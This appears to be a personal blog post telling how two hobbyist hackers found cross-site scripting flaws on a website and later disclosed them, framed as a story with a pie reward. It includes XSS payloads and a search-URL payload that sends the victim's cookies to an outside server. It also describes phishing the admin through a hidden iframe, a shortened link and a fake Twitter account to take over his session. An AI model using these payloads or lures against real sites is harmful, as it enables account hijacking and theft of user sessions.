The story of the delicious pie

People like us, hackers, tend to experiment with their knowledge in the wild. Sometimes just in the spirit of learning, but also out of curiosity and having fun. If you are one of those people who have a bad taste in their mouth after saying the word ‘hacker’, please reconsider clicking on the link you just skipped. (Or here, if you’re lazy). The way I see it, hackers usually don’t cause harm, although they might break the law from time to time. This is a true story of how a company dealt with two whitehats, or greyhats if you like.

I don’t exactly recall when it was, but it must be six or seven months ago. Hendrix and Santana just started learning about website security. I mean, of course they knew a little about XSS and SQL injection, but just the basics. Once they started reading the books and papers, a new world opened up; The world of endless hours of hacking.

Website hacking is fun. It’s relatively easy, it’s a relatively new field and you can do lot’s of fun things without being a jerk. So what’s the first thing you do when you first learn about XSS (Cross Site Scripting)? You check if one of those billion dollar companies like Google or Facebook have any obvious XSS vulnerabilities. Of course they don’t. Well they have, just not those obvious ones you are looking for. Then, you check your favourite websites. These might be big websites, just not the really-really big ones. Bingo. Within just a few hours, Hendrix and Santana found several potential targets.

Let’s focus on one of the most interesting targets, let’s call it the pie-target, for now. The pie-target is a website where users can register and comment on articles. This particular website is pretty well-known, but not immensely big. The website is clearly not where the main activity of this company is, since it’s full of sloppy leaks and not maintained very well, from an IT perspective. For example, the search function had an obvious XSS vulnerability; one could just search for “><script>alert(“hi!”);</script> to get a nice alert box from the website, friendly greeting the user. This, however, is not where the fun started for Hendrix and Santana.

The website allowed registration of new users with a simple form. Hendrix and Santana already created an account, just to explore the website’s features. On the profile page, they tried renaming their account to hensa<script>alert(‘xss’);</script> to see if they could inject javascript into the username. Unfortunately for them, the website showed a big red error box telling them the only valid characters were a-zA-Z0-9. After a while of poking around, they decided to create a new user, just to see what was possible with the subscription form. It was a long shot, but they tried the same username as before, hensa<script>alert(‘xss’);</script>. Strangely enough, it worked… The registration form clearly hadn’t the same security measures as the profile-editing form. When Hendrix and Santana completed registration by clicking on a validation link sent to a temporary e-mail address, they logged in and were happily greeted by an alert box saying ‘xss’.

When users are logged in on the pie-target website, every page prints ‘Welcome, <username>‘, in the top right corner. Since Hendrix and Santana’s <username> contains unsanitized javascript code, the code is directly being executed by the browser. Next up was getting some code to run in other users’ browsers. Hendrix and Santana decided to place a comment on a very old post, just to be sure that they wouldn’t get too much attention. When they placed a comment and reloaded the page… Nothing happened. Damn. The username next to the comment they just submitted was: hensa<script>alert(‘xss’);</script>. Those admin’s got it right this time; encoding the HTML entities. Since the only vulnerable place they found containing the username-vulnerability was the ‘logged-in’ header, they decided to call it quits and send an e-mail to the website admin describing the problem with the registration form.

A few days later, they found a reply in their mailbox. I don’t know the exact contents of that message, but it was something like:

Hey guys!
Thanks for letting us know, we will fix the problem as soon as possible. We already noticed some weird activity on the website the last couple of days, but we were unable to pinpoint the exact problem. If you are able to ‘hack’ us again, there will be a sweet apple pie waiting for you at the office here!

Regards,
Pie-admin

That was all the motivation they needed. Hendrix and Santana quickly fired up their web browsers and started digging for vulnerabilities. First, they checked the subscription form again. They quickly noticed that the pie-admin had already fixed the problem. Nice! Then there was the search page they found vulnerable before. A quick test showed that the page was still vulnerable, and they started working on an exploit.

To test the authentication system, Hendrix and Santana created a new user; fleetmac. Then, when they were logged in with that user, they opened up one of the website’s cookies that was named PHPSESSID. They copied the contents of this cookie and fired up a browser on a different computer. When they ‘pasted’ the cookie and reloaded the page.. they were logged in as fleetmac.

A web server typically sends a cookie containing a unique session identifier to the browser. The web browser will send back that session identifier with each subsequent request. This id identifies the user to the server. If a user authenticates, the server assigns this session id to the user in the system. That way, if you use the same session id on a different machine, the server will ‘think’ you are the same user, thus granting you access to whatever that user has access to, while this user is still logged in. When the user logs out, the session is destroyed and thus no longer valid. This is basicly how almost every website authentication system works, as a result of the web not being designed from the ground up to support this kind of use. Obtaining an admin’s session cookie is usually enough to trick the web server into thinking you are the admin.

What if Hendrix and Santana could get a hold of the admin’s cookie? They could use this cookie, containing the current session id of the admin, to have admin rights on the website until the admin logged out. Since they already had a way to inject javascript into the website, the plan was formed and the only thing to do was to set up a trap. They created a free hosting account somewhere where they could set up a simple HTML page. That page contained an invisible iframe with the pie-target’s website in it, requested with the following url:

http://www.pietarget.com/search?query="><script>i = new Image(); i.src='http://ourserver.com/?c='.concat(document.cookie);</script>

When the page was finished loading, they would redirect to another site, containing something of interest for the administrator. The only thing left, was to lure the admin to the page they just had set up, so the admin’s browser would load the pie-target website in the background. When the browser loads this page, it executes the javascript Hendrix and Santana just inserted through the search function, which generated a new ‘image’ on the website with their own server as source for the image. The browser of the admin will then try to load the image, resulting in a request to the server Hendrix and Santana had access to. They concatenated the cookie to the request url, so they could see the contents of the cookie in their server logs!

The url they just set up was suspicious looking, so they decided to hide the link with a popular url shortener; bit.ly. This is a common way of sharing url’s using twitter, since twitter only allows messages up to 140 characters in length. They created a url like ‘http://bit.ly/foobar&#8217; and created a fake twitter account. They found out the twitter-name of the admin and sent him a message, similar to this: @pieadmin Check this out! World’s biggest pie: http://bit.ly/foobar

The admin clicked on the link, was directed to the page Hendrix and Santana just set up with the malicious request hidden in an iframe, and within a second he was redirected to a website describing the world’s biggest pie. Without having a clue that he just got pwned, he smiled a bit and started wondering about what his wife would make for dinner.

Meanwhile, Hendrix and Santana had been keeping an eye on the server logs to check if the admin had fallen in their trap yet. Bingo! A nice cookie string flew over their screens. They were quick; they copied the cookie, pasted it in their browser, and reloaded the page…

Welcome, admin!

A few moments of silence as their eyes were fixated on the screen. Then, a big high-five. Then, another high-five. They did it! They made a quick screenshot for the gallery and closed the browser.

In the process of digging for vulnerabilities, Hendrix and Santana found many other possible ways in. They notified the website admin using twitter, with their real accounts this time. When they disclosed as many as five other XSS vulnerabilities, the website admin wanted them to stop. He ordered two pie’s and let Hendrix and Santana come to the office to give them their reward for sharing the newfound vulnerabilities with them.

Hendrix and Santana were nicely greeted at the office. They could smell the delicious pie coming in, and they wondered what kind of attitude the pie-admin would have towards them. To their surprise, pie-admin was really thankful that they disclosed the vulnerabilities to them. When they asked if pie-admin had noticed anything weird lately, the response was a simple ‘no’. “So you didn’t know we took over your account?”, they asked. The admin looked surprised. “Took over what?” “Well, nevermind then.” What matters in the end is that the website is safe now.

Or is it?

hensa<script>alert(‘xss’);</script>